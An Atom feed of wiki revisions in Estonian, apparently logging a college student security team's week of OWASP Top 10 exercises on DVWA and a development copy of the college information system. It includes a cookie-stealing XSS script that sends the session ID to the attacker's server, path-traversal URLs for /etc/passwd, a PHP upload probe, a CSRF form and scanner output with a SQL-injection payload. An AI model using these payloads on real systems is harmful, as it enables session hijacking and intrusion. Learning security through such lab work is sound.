  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47013</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47013"/>
		<updated>2012-03-30T10:28:54Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Tegijad */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
Taavi esitlus [[https://wiki.itcollege.ee/index.php/File:A9.pdf]]&lt;br /&gt;
Taavi esitlus [[https://wiki.itcollege.ee/index.php/File:A5.pdf]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
